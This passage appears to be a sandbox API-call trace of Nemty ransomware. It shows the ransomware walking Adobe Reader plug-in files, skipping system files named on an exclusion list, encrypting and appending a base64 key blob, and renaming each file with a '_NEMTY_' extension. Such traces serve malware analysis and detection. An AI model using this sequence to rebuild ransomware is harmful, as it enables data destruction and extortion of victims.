lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.890] CloseHandle (hObject=0x2f0) returned 1 [0190.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.890] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp._nemty_kgobjgd_")) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.891] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6b1000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.NLD", cAlternateFileName="")) returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2=".") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="..") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="...") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="windows") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="$RECYCLE.BIN") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="rsa") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="NTDETECT.COM") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="ntldr") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="MSDOS.SYS") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="IO.SYS") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="boot.ini") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="boot.ini") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="ntuser.dat") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="desktop.ini") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="CONFIG.SYS") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="RECYCLER") returned -1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="BOOTSECT.BAK") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="bootmgr") returned 1 [0190.891] lstrcmpiW (lpString1="Flash.NLD", lpString2="programdata") returned -1 [0190.892] lstrcmpiW (lpString1="Flash.NLD", lpString2="appdata") returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NLD", lpUsedDefaultChar=0x0) returned 9 [0190.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NLD", lpUsedDefaultChar=0x0) returned 9 [0190.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NLD", lpUsedDefaultChar=0x0) returned 9 [0190.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NLD", lpUsedDefaultChar=0x0) returned 9 [0190.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.892] Sleep (dwMilliseconds=0x5) [0190.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x256dde90, dwHighDateTime=0x1d561e8)) [0190.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x256dde90, dwHighDateTime=0x1d561e8)) [0190.895] GetLastError () returned 0x0 [0190.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.895] GetLastError () returned 0x0 [0190.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.895] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.895] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.896] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.896] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="0hKvKkkj6cFV20Emb9MoQ22eii6BsiN9ybNjc4M8Gv3b9EIgsfU7Opo8XpCTBZk8\r\nyZFnXQzAXtjnxRxVy1BVuUwRFCEZQ2KpJ13KBf7YEPMD8JnbuamDUa6qrgKaZUH4\r\nm++9434siBA9wOcd4ipXBqVqohG5D0WW6JM+z4RcrvBHQAVPF4p1B7AA/EKE9HIc\r\nMI6eugCry17OWUX5Q3X8DkSAsO+nT1QbWSX10fk+9w91xjW6cRI6QO5p7FtF50Rv\r\np53OnbYiOHCwU7oWzXMRQGhb61q7QIXn9ZmqJyAjJ3/c1bs8OYlYQkQChh8xBlHN\r\nQgCCRKaUoIIRL08RYTrTyQ==\r\n", pcchString=0x653e29c) returned 1 [0190.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.896] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.896] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.896] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.898] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.898] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.898] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.898] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.898] CloseHandle (hObject=0x2f0) returned 1 [0190.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.899] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nld._nemty_kgobjgd_")) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.899] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.NOR", cAlternateFileName="")) returned 1 [0190.899] lstrcmpiW (lpString1="Flash.NOR", lpString2=".") returned 1 [0190.899] lstrcmpiW (lpString1="Flash.NOR", lpString2="..") returned 1 [0190.899] lstrcmpiW (lpString1="Flash.NOR", lpString2="...") returned 1 [0190.899] lstrcmpiW (lpString1="Flash.NOR", lpString2="windows") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="$RECYCLE.BIN") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="rsa") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="NTDETECT.COM") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="ntldr") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="MSDOS.SYS") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="IO.SYS") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="boot.ini") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="boot.ini") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="ntuser.dat") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="desktop.ini") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="CONFIG.SYS") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="RECYCLER") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="BOOTSECT.BAK") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="bootmgr") returned 1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="programdata") returned -1 [0190.900] lstrcmpiW (lpString1="Flash.NOR", lpString2="appdata") returned 1 [0190.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NOR", lpUsedDefaultChar=0x0) returned 9 [0190.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NOR", lpUsedDefaultChar=0x0) returned 9 [0190.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NOR", lpUsedDefaultChar=0x0) returned 9 [0190.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NOR", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NOR", lpUsedDefaultChar=0x0) returned 9 [0190.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.901] Sleep (dwMilliseconds=0x5) [0190.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25703ff0, dwHighDateTime=0x1d561e8)) [0190.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25703ff0, dwHighDateTime=0x1d561e8)) [0190.911] GetLastError () returned 0x0 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.911] GetLastError () returned 0x0 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.911] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.911] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.911] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.911] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="0i4BtwMSadj/kH+z4zKmouk9bZ++6xP04skL/lseDYdytn1c0bf7b1qodjA+IAZb\r\nrWrc0rnhL7/uwHd/zj6vIzwl9KwqG+Lk0J59XOwoCx+aufAey5ztIZ6xFZOtj8M3\r\nrcBorrKkGJMUwVyPp+L5XcPRKKB3qs934cyZXxXo+uosXOUphmIpOZliCHidIEAR\r\nHpyTVsjTsPUH5LTTnx9AaOUrcB0CnFktaWKbdign+hLhs4roWeeJGNm+dr82IPVg\r\nDeEKtWypCPZNX54epKLIm32suLuKFy0bugdas3qm5LLke0VXCKsAFEAvWVNK4fM/\r\niKiVvbmriGFBIHAhfMugkw==\r\n", pcchString=0x653e29c) returned 1 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.912] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.913] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.913] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, 